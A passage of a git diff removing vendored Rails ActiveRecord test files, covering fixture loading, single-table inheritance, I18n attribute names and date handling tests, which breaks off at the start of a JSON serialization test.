-    assert_kind_of Topic, topics["first"].find
-  end
-
-  def test_complete_instantiation
-    assert_equal 4, @topics.size
-    assert_equal "The First Topic", @first.title
-  end
-
-  def test_fixtures_from_root_yml_with_instantiation
-    # assert_equal 2, @accounts.size
-    assert_equal 50, @unknown.credit_limit
-  end
-
-  def test_erb_in_fixtures
-    assert_equal 11, @developers.size
-    assert_equal "fixture_5", @dev_5.name
-  end
-
-  def test_empty_yaml_fixture
-    assert_not_nil Fixtures.new( Account.connection, "accounts", 'Account', FIXTURES_ROOT + "/naked/yml/accounts")
-  end
-
-  def test_empty_yaml_fixture_with_a_comment_in_it
-    assert_not_nil Fixtures.new( Account.connection, "companies", 'Company', FIXTURES_ROOT + "/naked/yml/companies")
-  end
-
-  def test_dirty_dirty_yaml_file
-    assert_raise(Fixture::FormatError) do
-      Fixtures.new( Account.connection, "courses", 'Course', FIXTURES_ROOT + "/naked/yml/courses")
-    end
-  end
-
-  def test_empty_csv_fixtures
-    assert_not_nil Fixtures.new( Account.connection, "accounts", 'Account', FIXTURES_ROOT + "/naked/csv/accounts")
-  end
-
-  def test_omap_fixtures
-    assert_nothing_raised do
-      fixtures = Fixtures.new(Account.connection, 'categories', 'Category', FIXTURES_ROOT + "/categories_ordered")
-
-      i = 0
-      fixtures.each do |name, fixture|
-        assert_equal "fixture_no_#{i}", name
-        assert_equal "Category #{i}", fixture['name']
-        i += 1
-      end
-    end
-  end
-
-  def test_yml_file_in_subdirectory
-    assert_equal(categories(:sub_special_1).name, "A special category in a subdir file")
-    assert_equal(categories(:sub_special_1).class, SpecialCategory)
-  end
-
-  def test_subsubdir_file_with_arbitrary_name
-    assert_equal(categories(:sub_special_3).name, "A special category in an arbitrarily named subsubdir file")
-    assert_equal(categories(:sub_special_3).class, SpecialCategory)
-  end
-
-  def test_binary_in_fixtures
-    assert_equal 1, @binaries.size
-    data = File.open(ASSETS_ROOT + "/flowers.jpg", 'rb') { |f| f.read }
-    data.force_encoding('ASCII-8BIT') if data.respond_to?(:force_encoding)
-    data.freeze
-    assert_equal data, @flowers.data
-  end
-end
-
-if Account.connection.respond_to?(:reset_pk_sequence!)
-  class FixturesResetPkSequenceTest < ActiveRecord::TestCase
-    fixtures :accounts
-    fixtures :companies
-
-    def setup
-      @instances = [Account.new(:credit_limit => 50), Company.new(:name => 'RoR Consulting')]
-      Fixtures.reset_cache # make sure tables get reinitialized
-    end
-
-    def test_resets_to_min_pk_with_specified_pk_and_sequence
-      @instances.each do |instance|
-        model = instance.class
-        model.delete_all
-        model.connection.reset_pk_sequence!(model.table_name, model.primary_key, model.sequence_name)
-
-        instance.save!
-        assert_equal 1, instance.id, "Sequence reset for #{model.table_name} failed."
-      end
-    end
-
-    def test_resets_to_min_pk_with_default_pk_and_sequence
-      @instances.each do |instance|
-        model = instance.class
-        model.delete_all
-        model.connection.reset_pk_sequence!(model.table_name)
-
-        instance.save!
-        assert_equal 1, instance.id, "Sequence reset for #{model.table_name} failed."
-      end
-    end
-
-    def test_create_fixtures_resets_sequences_when_not_cached
-      @instances.each do |instance|
-        max_id = create_fixtures(instance.class.table_name).inject(0) do |max_id, (name, fixture)|
-          fixture_id = fixture['id'].to_i
-          fixture_id > max_id ? fixture_id : max_id
-        end
-
-        # Clone the last fixture to check that it gets the next greatest id.
-        instance.save!
-        assert_equal max_id + 1, instance.id, "Sequence reset for #{instance.class.table_name} failed."
-      end
-    end
-  end
-end
-
-class FixturesWithoutInstantiationTest < ActiveRecord::TestCase
-  self.use_instantiated_fixtures = false
-  fixtures :topics, :developers, :accounts
-
-  def test_without_complete_instantiation
-    assert_nil @first
-    assert_nil @topics
-    assert_nil @developers
-    assert_nil @accounts
-  end
-
-  def test_fixtures_from_root_yml_without_instantiation
-    assert_nil @unknown
-  end
-
-  def test_visibility_of_accessor_method
-    assert_equal false, respond_to?(:topics, false), "should be private method"
-    assert_equal true, respond_to?(:topics, true), "confirm to respond surely"
-  end
-
-  def test_accessor_methods
-    assert_equal "The First Topic", topics(:first).title
-    assert_equal "Jamis", developers(:jamis).name
-    assert_equal 50, accounts(:signals37).credit_limit
-  end
-
-  def test_accessor_methods_with_multiple_args
-    assert_equal 2, topics(:first, :second).size
-    assert_raise(StandardError) { topics([:first, :second]) }
-  end
-
-  def test_reloading_fixtures_through_accessor_methods
-    assert_equal "The First Topic", topics(:first).title
-    @loaded_fixtures['topics']['first'].expects(:find).returns(stub(:title => "Fresh Topic!"))
-    assert_equal "Fresh Topic!", topics(:first, true).title
-  end
-end
-
-class FixturesWithoutInstanceInstantiationTest < ActiveRecord::TestCase
-  self.use_instantiated_fixtures = true
-  self.use_instantiated_fixtures = :no_instances
-
-  fixtures :topics, :developers, :accounts
-
-  def test_without_instance_instantiation
-    assert_nil @first
-    assert_not_nil @topics
-    assert_not_nil @developers
-    assert_not_nil @accounts
-  end
-end
-
-class TransactionalFixturesTest < ActiveRecord::TestCase
-  self.use_instantiated_fixtures = true
-  self.use_transactional_fixtures = true
-
-  fixtures :topics
-
-  def test_destroy
-    assert_not_nil @first
-    @first.destroy
-  end
-
-  def test_destroy_just_kidding
-    assert_not_nil @first
-  end
-end
-
-class MultipleFixturesTest < ActiveRecord::TestCase
-  fixtures :topics
-  fixtures :developers, :accounts
-
-  def test_fixture_table_names
-    assert_equal %w(topics developers accounts), fixture_table_names
-  end
-end
-
-class SetupTest < ActiveRecord::TestCase
-  # fixtures :topics
-
-  def setup
-    @first = true
-  end
-
-  def test_nothing
-  end
-end
-
-class SetupSubclassTest < SetupTest
-  def setup
-    super
-    @second = true
-  end
-
-  def test_subclassing_should_preserve_setups
-    assert @first
-    assert @second
-  end
-end
-
-
-class OverlappingFixturesTest < ActiveRecord::TestCase
-  fixtures :topics, :developers
-  fixtures :developers, :accounts
-
-  def test_fixture_table_names
-    assert_equal %w(topics developers accounts), fixture_table_names
-  end
-end
-
-class ForeignKeyFixturesTest < ActiveRecord::TestCase
-  fixtures :fk_test_has_pk, :fk_test_has_fk
-
-  # if foreign keys are implemented and fixtures
-  # are not deleted in reverse order then this test
-  # case will raise StatementInvalid
-
-  def test_number1
-    assert true
-  end
-
-  def test_number2
-    assert true
-  end
-end
-
-class CheckSetTableNameFixturesTest < ActiveRecord::TestCase
-  set_fixture_class :funny_jokes => 'Joke'
-  fixtures :funny_jokes
-  # Set to false to blow away fixtures cache and ensure our fixtures are loaded 
-  # and thus takes into account our set_fixture_class
-  self.use_transactional_fixtures = false
-
-  def test_table_method
-    assert_kind_of Joke, funny_jokes(:a_joke)
-  end
-end
-
-class FixtureNameIsNotTableNameFixturesTest < ActiveRecord::TestCase
-  set_fixture_class :items => Book
-  fixtures :items
-  # Set to false to blow away fixtures cache and ensure our fixtures are loaded 
-  # and thus takes into account our set_fixture_class
-  self.use_transactional_fixtures = false
-
-  def test_named_accessor
-    assert_kind_of Book, items(:dvd)
-  end
-end
-
-class FixtureNameIsNotTableNameMultipleFixturesTest < ActiveRecord::TestCase
-  set_fixture_class :items => Book, :funny_jokes => Joke
-  fixtures :items, :funny_jokes
-  # Set to false to blow away fixtures cache and ensure our fixtures are loaded 
-  # and thus takes into account our set_fixture_class
-  self.use_transactional_fixtures = false
-
-  def test_named_accessor_of_differently_named_fixture
-    assert_kind_of Book, items(:dvd)
-  end
-
-  def test_named_accessor_of_same_named_fixture
-    assert_kind_of Joke, funny_jokes(:a_joke)
-  end
-end
-
-class CustomConnectionFixturesTest < ActiveRecord::TestCase
-  set_fixture_class :courses => Course
-  fixtures :courses
-  # Set to false to blow away fixtures cache and ensure our fixtures are loaded 
-  # and thus takes into account our set_fixture_class
-  self.use_transactional_fixtures = false
-
-  def test_connection
-    assert_kind_of Course, courses(:ruby)
-    assert_equal Course.connection, courses(:ruby).connection
-  end
-end
-
-class InvalidTableNameFixturesTest < ActiveRecord::TestCase
-  fixtures :funny_jokes
-  # Set to false to blow away fixtures cache and ensure our fixtures are loaded 
-  # and thus takes into account our lack of set_fixture_class
-  self.use_transactional_fixtures = false
-
-  def test_raises_error
-    assert_raise FixtureClassNotFound do
-      funny_jokes(:a_joke)
-    end
-  end
-end
-
-class CheckEscapedYamlFixturesTest < ActiveRecord::TestCase
-  set_fixture_class :funny_jokes => 'Joke'
-  fixtures :funny_jokes
-  # Set to false to blow away fixtures cache and ensure our fixtures are loaded 
-  # and thus takes into account our set_fixture_class
-  self.use_transactional_fixtures = false
-
-  def test_proper_escaped_fixture
-    assert_equal "The \\n Aristocrats\nAte the candy\n", funny_jokes(:another_joke).name
-  end
-end
-
-class DevelopersProject; end
-class ManyToManyFixturesWithClassDefined < ActiveRecord::TestCase
-  fixtures :developers_projects
-
-  def test_this_should_run_cleanly
-    assert true
-  end
-end
-
-class FixturesBrokenRollbackTest < ActiveRecord::TestCase
-  def blank_setup; end
-  alias_method :ar_setup_fixtures, :setup_fixtures
-  alias_method :setup_fixtures, :blank_setup
-  alias_method :setup, :blank_setup
-
-  def blank_teardown; end
-  alias_method :ar_teardown_fixtures, :teardown_fixtures
-  alias_method :teardown_fixtures, :blank_teardown
-  alias_method :teardown, :blank_teardown
-
-  def test_no_rollback_in_teardown_unless_transaction_active
-    assert_equal 0, ActiveRecord::Base.connection.open_transactions
-    assert_raise(RuntimeError) { ar_setup_fixtures }
-    assert_equal 0, ActiveRecord::Base.connection.open_transactions
-    assert_nothing_raised { ar_teardown_fixtures }
-    assert_equal 0, ActiveRecord::Base.connection.open_transactions
-  end
-
-  private
-    def load_fixtures
-      raise 'argh'
-    end
-end
-
-class LoadAllFixturesTest < ActiveRecord::TestCase
-  self.fixture_path = FIXTURES_ROOT + "/all"
-  fixtures :all
-
-  def test_all_there
-    assert_equal %w(developers people tasks), fixture_table_names.sort
-  end
-end
-
-class FasterFixturesTest < ActiveRecord::TestCase
-  fixtures :categories, :authors
-
-  def load_extra_fixture(name)
-    fixture = create_fixtures(name)
-    assert fixture.is_a?(Fixtures)
-    @loaded_fixtures[fixture.table_name] = fixture
-  end
-
-  def test_cache
-    assert Fixtures.fixture_is_cached?(ActiveRecord::Base.connection, 'categories')
-    assert Fixtures.fixture_is_cached?(ActiveRecord::Base.connection, 'authors')
-
-    assert_no_queries do
-      create_fixtures('categories')
-      create_fixtures('authors')
-    end
-
-    load_extra_fixture('posts')
-    assert Fixtures.fixture_is_cached?(ActiveRecord::Base.connection, 'posts')
-    self.class.setup_fixture_accessors('posts')
-    assert_equal 'Welcome to the weblog', posts(:welcome).title
-  end
-end
-
-class FoxyFixturesTest < ActiveRecord::TestCase
-  fixtures :parrots, :parrots_pirates, :pirates, :treasures, :mateys, :ships, :computers, :developers
-
-  def test_identifies_strings
-    assert_equal(Fixtures.identify("foo"), Fixtures.identify("foo"))
-    assert_not_equal(Fixtures.identify("foo"), Fixtures.identify("FOO"))
-  end
-
-  def test_identifies_symbols
-    assert_equal(Fixtures.identify(:foo), Fixtures.identify(:foo))
-  end
-
-  def test_identifies_consistently
-    assert_equal 207281424, Fixtures.identify(:ruby)
-    assert_equal 1066363776, Fixtures.identify(:sapphire_2)
-  end
-
-  TIMESTAMP_COLUMNS = %w(created_at created_on updated_at updated_on)
-
-  def test_populates_timestamp_columns
-    TIMESTAMP_COLUMNS.each do |property|
-      assert_not_nil(parrots(:george).send(property), "should set #{property}")
-    end
-  end
-
-  def test_does_not_populate_timestamp_columns_if_model_has_set_record_timestamps_to_false
-    TIMESTAMP_COLUMNS.each do |property|
-      assert_nil(ships(:black_pearl).send(property), "should not set #{property}")
-    end
-  end
-
-  def test_populates_all_columns_with_the_same_time
-    last = nil
-
-    TIMESTAMP_COLUMNS.each do |property|
-      current = parrots(:george).send(property)
-      last ||= current
-
-      assert_equal(last, current)
-      last = current
-    end
-  end
-
-  def test_only_populates_columns_that_exist
-    assert_not_nil(pirates(:blackbeard).created_on)
-    assert_not_nil(pirates(:blackbeard).updated_on)
-  end
-
-  def test_preserves_existing_fixture_data
-    assert_equal(2.weeks.ago.to_date, pirates(:redbeard).created_on.to_date)
-    assert_equal(2.weeks.ago.to_date, pirates(:redbeard).updated_on.to_date)
-  end
-
-  def test_generates_unique_ids
-    assert_not_nil(parrots(:george).id)
-    assert_not_equal(parrots(:george).id, parrots(:louis).id)
-  end
-
-  def test_automatically_sets_primary_key
-    assert_not_nil(ships(:black_pearl))
-  end
-
-  def test_preserves_existing_primary_key
-    assert_equal(2, ships(:interceptor).id)
-  end
-
-  def test_resolves_belongs_to_symbols
-    assert_equal(parrots(:george), pirates(:blackbeard).parrot)
-  end
-
-  def test_ignores_belongs_to_symbols_if_association_and_foreign_key_are_named_the_same
-    assert_equal(developers(:david), computers(:workstation).developer)
-  end
-
-  def test_supports_join_tables
-    assert(pirates(:blackbeard).parrots.include?(parrots(:george)))
-    assert(pirates(:blackbeard).parrots.include?(parrots(:louis)))
-    assert(parrots(:george).pirates.include?(pirates(:blackbeard)))
-  end
-
-  def test_supports_inline_habtm
-    assert(parrots(:george).treasures.include?(treasures(:diamond)))
-    assert(parrots(:george).treasures.include?(treasures(:sapphire)))
-    assert(!parrots(:george).treasures.include?(treasures(:ruby)))
-  end
-
-  def test_supports_inline_habtm_with_specified_id
-    assert(parrots(:polly).treasures.include?(treasures(:ruby)))
-    assert(parrots(:polly).treasures.include?(treasures(:sapphire)))
-    assert(!parrots(:polly).treasures.include?(treasures(:diamond)))
-  end
-
-  def test_supports_yaml_arrays
-    assert(parrots(:louis).treasures.include?(treasures(:diamond)))
-    assert(parrots(:louis).treasures.include?(treasures(:sapphire)))
-  end
-
-  def test_strips_DEFAULTS_key
-    assert_raise(StandardError) { parrots(:DEFAULTS) }
-
-    # this lets us do YAML defaults and not have an extra fixture entry
-    %w(sapphire ruby).each { |t| assert(parrots(:davey).treasures.include?(treasures(t))) }
-  end
-
-  def test_supports_label_interpolation
-    assert_equal("frederick", parrots(:frederick).name)
-  end
-
-  def test_supports_polymorphic_belongs_to
-    assert_equal(pirates(:redbeard), treasures(:sapphire).looter)
-    assert_equal(parrots(:louis), treasures(:ruby).looter)
-  end
-
-  def test_only_generates_a_pk_if_necessary
-    m = Matey.find(:first)
-    m.pirate = pirates(:blackbeard)
-    m.target = pirates(:redbeard)
-  end
-
-  def test_supports_sti
-    assert_kind_of DeadParrot, parrots(:polly)
-    assert_equal pirates(:blackbeard), parrots(:polly).killer
-  end
-end
-
-class ActiveSupportSubclassWithFixturesTest < ActiveRecord::TestCase
-  fixtures :parrots
-
-  # This seemingly useless assertion catches a bug that caused the fixtures
-  # setup code call nil[]
-  def test_foo
-    assert_equal parrots(:louis), Parrot.find_by_name("King Louis")
-  end
-end
-
-class FixtureLoadingTest < ActiveRecord::TestCase
-  def test_logs_message_for_failed_dependency_load
-    ActiveRecord::TestCase.expects(:require_dependency).with(:does_not_exist).raises(LoadError)
-    ActiveRecord::Base.logger.expects(:warn)
-    ActiveRecord::TestCase.try_to_load_dependency(:does_not_exist)
-  end
-
-  def test_does_not_logs_message_for_successful_dependency_load
-    ActiveRecord::TestCase.expects(:require_dependency).with(:works_out_fine)
-    ActiveRecord::Base.logger.expects(:warn).never
-    ActiveRecord::TestCase.try_to_load_dependency(:works_out_fine)
-  end
-end
diff --git a/vendor/rails/activerecord/test/cases/helper.rb b/vendor/rails/activerecord/test/cases/helper.rb
deleted file mode 100644
index 1ef38c99..00000000
--- a/vendor/rails/activerecord/test/cases/helper.rb
+++ /dev/null
@@ -1,68 +0,0 @@
-$:.unshift(File.dirname(__FILE__) + '/../../lib')
-$:.unshift(File.dirname(__FILE__) + '/../../../activesupport/lib')
-
-require 'config'
-
-require 'rubygems'
-require 'test/unit'
-require 'stringio'
-
-require 'active_record'
-require 'active_record/test_case'
-require 'active_record/fixtures'
-require 'connection'
-
-require 'cases/repair_helper'
-
-# Show backtraces for deprecated behavior for quicker cleanup.
-ActiveSupport::Deprecation.debug = true
-
-# Quote "type" if it's a reserved word for the current connection.
-QUOTED_TYPE = ActiveRecord::Base.connection.quote_column_name('type')
-
-def current_adapter?(*types)
-  types.any? do |type|
-    ActiveRecord::ConnectionAdapters.const_defined?(type) &&
-      ActiveRecord::Base.connection.is_a?(ActiveRecord::ConnectionAdapters.const_get(type))
-  end
-end
-
-ActiveRecord::Base.connection.class.class_eval do
-  IGNORED_SQL = [/^PRAGMA/, /^SELECT currval/, /^SELECT CAST/, /^SELECT @@IDENTITY/, /^SELECT @@ROWCOUNT/, /^SAVEPOINT/, /^ROLLBACK TO SAVEPOINT/, /^RELEASE SAVEPOINT/, /SHOW FIELDS/]
-
-  def execute_with_query_record(sql, name = nil, &block)
-    $queries_executed ||= []
-    $queries_executed << sql unless IGNORED_SQL.any? { |r| sql =~ r }
-    execute_without_query_record(sql, name, &block)
-  end
-
-  alias_method_chain :execute, :query_record
-end
-
-# Make with_scope public for tests
-class << ActiveRecord::Base
-  public :with_scope, :with_exclusive_scope
-end
-
-unless ENV['FIXTURE_DEBUG']
-  module ActiveRecord::TestFixtures::ClassMethods
-    def try_to_load_dependency_with_silence(*args)
-      ActiveRecord::Base.logger.silence { try_to_load_dependency_without_silence(*args)}
-    end
-
-    alias_method_chain :try_to_load_dependency, :silence
-  end
-end
-
-class ActiveSupport::TestCase
-  include ActiveRecord::TestFixtures
-  include ActiveRecord::Testing::RepairHelper
-
-  self.fixture_path = FIXTURES_ROOT
-  self.use_instantiated_fixtures  = false
-  self.use_transactional_fixtures = true
-
-  def create_fixtures(*table_names, &block)
-    Fixtures.create_fixtures(ActiveSupport::TestCase.fixture_path, table_names, {}, &block)
-  end
-end
diff --git a/vendor/rails/activerecord/test/cases/i18n_test.rb b/vendor/rails/activerecord/test/cases/i18n_test.rb
deleted file mode 100644
index d59c53ce..00000000
--- a/vendor/rails/activerecord/test/cases/i18n_test.rb
+++ /dev/null
@@ -1,46 +0,0 @@
-require "cases/helper"
-require 'models/topic'
-require 'models/reply'
-
-class ActiveRecordI18nTests < Test::Unit::TestCase
-
-  def setup
-    I18n.backend = I18n::Backend::Simple.new
-  end
-  
-  def test_translated_model_attributes
-    I18n.backend.store_translations 'en', :activerecord => {:attributes => {:topic => {:title => 'topic title attribute'} } }
-    assert_equal 'topic title attribute', Topic.human_attribute_name('title')
-  end
-  
-  def test_translated_model_attributes_with_symbols
-    I18n.backend.store_translations 'en', :activerecord => {:attributes => {:topic => {:title => 'topic title attribute'} } }
-    assert_equal 'topic title attribute', Topic.human_attribute_name(:title)
-  end
-
-  def test_translated_model_attributes_with_sti
-    I18n.backend.store_translations 'en', :activerecord => {:attributes => {:reply => {:title => 'reply title attribute'} } }
-    assert_equal 'reply title attribute', Reply.human_attribute_name('title')
-  end
-
-  def test_translated_model_attributes_with_sti_fallback
-    I18n.backend.store_translations 'en', :activerecord => {:attributes => {:topic => {:title => 'topic title attribute'} } }
-    assert_equal 'topic title attribute', Reply.human_attribute_name('title')
-  end
-
-  def test_translated_model_names
-    I18n.backend.store_translations 'en', :activerecord => {:models => {:topic => 'topic model'} }
-    assert_equal 'topic model', Topic.human_name
-  end
-
-  def test_translated_model_names_with_sti
-    I18n.backend.store_translations 'en', :activerecord => {:models => {:reply => 'reply model'} }
-    assert_equal 'reply model', Reply.human_name
-  end
-
-  def test_translated_model_names_with_sti_fallback
-    I18n.backend.store_translations 'en', :activerecord => {:models => {:topic => 'topic model'} }
-    assert_equal 'topic model', Reply.human_name
-  end
-end
-
diff --git a/vendor/rails/activerecord/test/cases/inheritance_test.rb b/vendor/rails/activerecord/test/cases/inheritance_test.rb
deleted file mode 100644
index eae5a608..00000000
--- a/vendor/rails/activerecord/test/cases/inheritance_test.rb
+++ /dev/null
@@ -1,262 +0,0 @@
-require "cases/helper"
-require 'models/company'
-require 'models/project'
-require 'models/subscriber'
-
-class InheritanceTest < ActiveRecord::TestCase
-  fixtures :companies, :projects, :subscribers, :accounts
-
-  def test_class_with_store_full_sti_class_returns_full_name
-    old = ActiveRecord::Base.store_full_sti_class
-    ActiveRecord::Base.store_full_sti_class = true
-    assert_equal 'Namespaced::Company', Namespaced::Company.sti_name
-  ensure
-    ActiveRecord::Base.store_full_sti_class = old
-  end
-
-  def test_class_without_store_full_sti_class_returns_demodulized_name
-    old = ActiveRecord::Base.store_full_sti_class
-    ActiveRecord::Base.store_full_sti_class = false
-    assert_equal 'Company', Namespaced::Company.sti_name
-  ensure
-    ActiveRecord::Base.store_full_sti_class = old
-  end
-
-  def test_should_store_demodulized_class_name_with_store_full_sti_class_option_disabled
-    old = ActiveRecord::Base.store_full_sti_class
-    ActiveRecord::Base.store_full_sti_class = false
-    item = Namespaced::Company.new
-    assert_equal 'Company', item[:type]
-  ensure
-    ActiveRecord::Base.store_full_sti_class = old
-  end
-  
-  def test_should_store_full_class_name_with_store_full_sti_class_option_enabled
-    old = ActiveRecord::Base.store_full_sti_class
-    ActiveRecord::Base.store_full_sti_class = true
-    item = Namespaced::Company.new
-    assert_equal 'Namespaced::Company', item[:type]
-  ensure
-    ActiveRecord::Base.store_full_sti_class = old
-  end
-  
-  def test_different_namespace_subclass_should_load_correctly_with_store_full_sti_class_option
-    old = ActiveRecord::Base.store_full_sti_class
-    ActiveRecord::Base.store_full_sti_class = true
-    item = Namespaced::Company.create :name => "Wolverine 2"
-    assert_not_nil Company.find(item.id)
-    assert_not_nil Namespaced::Company.find(item.id)
-  ensure
-    ActiveRecord::Base.store_full_sti_class = old
-  end
-
-  def test_company_descends_from_active_record
-    assert_raise(NoMethodError) { ActiveRecord::Base.descends_from_active_record? }
-    assert AbstractCompany.descends_from_active_record?, 'AbstractCompany should descend from ActiveRecord::Base'
-    assert Company.descends_from_active_record?, 'Company should descend from ActiveRecord::Base'
-    assert !Class.new(Company).descends_from_active_record?, 'Company subclass should not descend from ActiveRecord::Base'
-  end
-
-  def test_a_bad_type_column
-    #SQLServer need to turn Identity Insert On before manually inserting into the Identity column
-    if current_adapter?(:SybaseAdapter)
-      Company.connection.execute "SET IDENTITY_INSERT companies ON"
-    end
-    Company.connection.insert "INSERT INTO companies (id, #{QUOTED_TYPE}, name) VALUES(100, 'bad_class!', 'Not happening')"
-
-    #We then need to turn it back Off before continuing.
-    if current_adapter?(:SybaseAdapter)
-      Company.connection.execute "SET IDENTITY_INSERT companies OFF"
-    end
-    assert_raise(ActiveRecord::SubclassNotFound) { Company.find(100) }
-  end
-
-  def test_inheritance_find
-    assert Company.find(1).kind_of?(Firm), "37signals should be a firm"
-    assert Firm.find(1).kind_of?(Firm), "37signals should be a firm"
-    assert Company.find(2).kind_of?(Client), "Summit should be a client"
-    assert Client.find(2).kind_of?(Client), "Summit should be a client"
-  end
-
-  def test_alt_inheritance_find
-    switch_to_alt_inheritance_column
-    test_inheritance_find
-    switch_to_default_inheritance_column
-  end
-
-  def test_inheritance_find_all
-    companies = Company.find(:all, :order => 'id')
-    assert companies[0].kind_of?(Firm), "37signals should be a firm"
-    assert companies[1].kind_of?(Client), "Summit should be a client"
-  end
-
-  def test_alt_inheritance_find_all
-    switch_to_alt_inheritance_column
-    test_inheritance_find_all
-    switch_to_default_inheritance_column
-  end
-
-  def test_inheritance_save
-    firm = Firm.new
-    firm.name = "Next Angle"
-    firm.save
-
-    next_angle = Company.find(firm.id)
-    assert next_angle.kind_of?(Firm), "Next Angle should be a firm"
-  end
-
-  def test_alt_inheritance_save
-    switch_to_alt_inheritance_column
-    test_inheritance_save
-    switch_to_default_inheritance_column
-  end
-
-  def test_inheritance_condition
-    assert_equal 9, Company.count
-    assert_equal 2, Firm.count
-    assert_equal 3, Client.count
-  end
-
-  def test_alt_inheritance_condition
-    switch_to_alt_inheritance_column
-    test_inheritance_condition
-    switch_to_default_inheritance_column
-  end
-
-  def test_finding_incorrect_type_data
-    assert_raise(ActiveRecord::RecordNotFound) { Firm.find(2) }
-    assert_nothing_raised   { Firm.find(1) }
-  end
-
-  def test_alt_finding_incorrect_type_data
-    switch_to_alt_inheritance_column
-    test_finding_incorrect_type_data
-    switch_to_default_inheritance_column
-  end
-
-  def test_update_all_within_inheritance
-    Client.update_all "name = 'I am a client'"
-    assert_equal "I am a client", Client.find(:all).first.name
-    assert_equal "37signals", Firm.find(:all).first.name
-  end
-
-  def test_alt_update_all_within_inheritance
-    switch_to_alt_inheritance_column
-    test_update_all_within_inheritance
-    switch_to_default_inheritance_column
-  end
-
-  def test_destroy_all_within_inheritance
-    Client.destroy_all
-    assert_equal 0, Client.count
-    assert_equal 2, Firm.count
-  end
-
-  def test_alt_destroy_all_within_inheritance
-    switch_to_alt_inheritance_column
-    test_destroy_all_within_inheritance
-    switch_to_default_inheritance_column
-  end
-
-  def test_find_first_within_inheritance
-    assert_kind_of Firm, Company.find(:first, :conditions => "name = '37signals'")
-    assert_kind_of Firm, Firm.find(:first, :conditions => "name = '37signals'")
-    assert_nil Client.find(:first, :conditions => "name = '37signals'")
-  end
-
-  def test_alt_find_first_within_inheritance
-    switch_to_alt_inheritance_column
-    test_find_first_within_inheritance
-    switch_to_default_inheritance_column
-  end
-
-  def test_complex_inheritance
-    very_special_client = VerySpecialClient.create("name" => "veryspecial")
-    assert_equal very_special_client, VerySpecialClient.find(:first, :conditions => "name = 'veryspecial'")
-    assert_equal very_special_client, SpecialClient.find(:first, :conditions => "name = 'veryspecial'")
-    assert_equal very_special_client, Company.find(:first, :conditions => "name = 'veryspecial'")
-    assert_equal very_special_client, Client.find(:first, :conditions => "name = 'veryspecial'")
-    assert_equal 1, Client.find(:all, :conditions => "name = 'Summit'").size
-    assert_equal very_special_client, Client.find(very_special_client.id)
-  end
-
-  def test_alt_complex_inheritance
-    switch_to_alt_inheritance_column
-    test_complex_inheritance
-    switch_to_default_inheritance_column
-  end
-
-  def test_eager_load_belongs_to_something_inherited
-    account = Account.find(1, :include => :firm)
-    assert_not_nil account.instance_variable_get("@firm"), "nil proves eager load failed"
-  end
-
-  def test_eager_load_belongs_to_primary_key_quoting
-    con = Account.connection
-    assert_sql(/\(#{con.quote_table_name('companies')}.#{con.quote_column_name('id')} = 1\)/) do
-      Account.find(1, :include => :firm)
-    end
-  end
-
-  def test_alt_eager_loading
-    switch_to_alt_inheritance_column
-    test_eager_load_belongs_to_something_inherited
-    switch_to_default_inheritance_column
-  end
-
-  def test_inheritance_without_mapping
-    assert_kind_of SpecialSubscriber, SpecialSubscriber.find("webster132")
-    assert_nothing_raised { s = SpecialSubscriber.new("name" => "And breaaaaathe!"); s.id = 'roger'; s.save }
-  end
-
-  private
-    def switch_to_alt_inheritance_column
-      # we don't want misleading test results, so get rid of the values in the type column
-      Company.find(:all, :order => 'id').each do |c|
-        c['type'] = nil
-        c.save
-      end
-      [ Company, Firm, Client].each { |klass| klass.reset_column_information }
-      Company.set_inheritance_column('ruby_type')
-    end
-    def switch_to_default_inheritance_column
-      [ Company, Firm, Client].each { |klass| klass.reset_column_information }
-      Company.set_inheritance_column('type')
-    end
-end
-
-
-class InheritanceComputeTypeTest < ActiveRecord::TestCase
-  fixtures :companies
-
-  def setup
-    ActiveSupport::Dependencies.log_activity = true
-  end
-
-  def teardown
-    ActiveSupport::Dependencies.log_activity = false
-    self.class.const_remove :FirmOnTheFly rescue nil
-    Firm.const_remove :FirmOnTheFly rescue nil
-  end
-
-  def test_instantiation_doesnt_try_to_require_corresponding_file
-    foo = Firm.find(:first).clone
-    foo.ruby_type = foo.type = 'FirmOnTheFly'
-    foo.save!
-
-    # Should fail without FirmOnTheFly in the type condition.
-    assert_raise(ActiveRecord::RecordNotFound) { Firm.find(foo.id) }
-
-    # Nest FirmOnTheFly in the test case where Dependencies won't see it.
-    self.class.const_set :FirmOnTheFly, Class.new(Firm)
-    assert_raise(ActiveRecord::SubclassNotFound) { Firm.find(foo.id) }
-
-    # Nest FirmOnTheFly in Firm where Dependencies will see it.
-    # This is analogous to nesting models in a migration.
-    Firm.const_set :FirmOnTheFly, Class.new(Firm)
-
-    # And instantiate will find the existing constant rather than trying
-    # to require firm_on_the_fly.
-    assert_nothing_raised { assert_kind_of Firm::FirmOnTheFly, Firm.find(foo.id) }
-  end
-end
diff --git a/vendor/rails/activerecord/test/cases/invalid_date_test.rb b/vendor/rails/activerecord/test/cases/invalid_date_test.rb
deleted file mode 100644
index e2bb17c3..00000000
--- a/vendor/rails/activerecord/test/cases/invalid_date_test.rb
+++ /dev/null
@@ -1,24 +0,0 @@
-require 'cases/helper'
-require 'models/topic'
-
-class InvalidDateTest < Test::Unit::TestCase
-  def test_assign_valid_dates
-    valid_dates = [[2007, 11, 30], [1993, 2, 28], [2008, 2, 29]]
-
-    invalid_dates = [[2007, 11, 31], [1993, 2, 29], [2007, 2, 29]]
-
-    topic = Topic.new
-
-    valid_dates.each do |date_src|
-      topic = Topic.new("last_read(1i)" => date_src[0].to_s, "last_read(2i)" => date_src[1].to_s, "last_read(3i)" => date_src[2].to_s)
-      assert_equal(topic.last_read, Date.new(*date_src))
-    end
-
-    invalid_dates.each do |date_src|
-      assert_nothing_raised do
-        topic = Topic.new({"last_read(1i)" => date_src[0].to_s, "last_read(2i)" => date_src[1].to_s, "last_read(3i)" => date_src[2].to_s})
-        assert_equal(topic.last_read, Time.local(*date_src).to_date, "The date should be modified according to the behaviour of the Time object")
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activerecord/test/cases/json_serialization_test.rb b/vendor/rails/activerecord/test/cases/json_serialization_test.rb
deleted file mode 100644
index 7f13e493..00000000
--- a/vendor/rails/activerecord/test/cases/json_serialization_test.rb
+++ /dev/null
@@ -1,219 +0,0 @@
-require "cases/helper"
-require 'models/contact'
-require 'models/post'
-require 'models/author'
-require 'models/tagging'
-require 'models/tag'
-require 'models/comment'
-
-class JsonSerializationTest < ActiveRecord::TestCase
-  class NamespacedContact < Contact
-    column :name,        :string
-  end
-
-  def setup
-    @contact = Contact.new(
-      :name        => 'Konata Izumi',
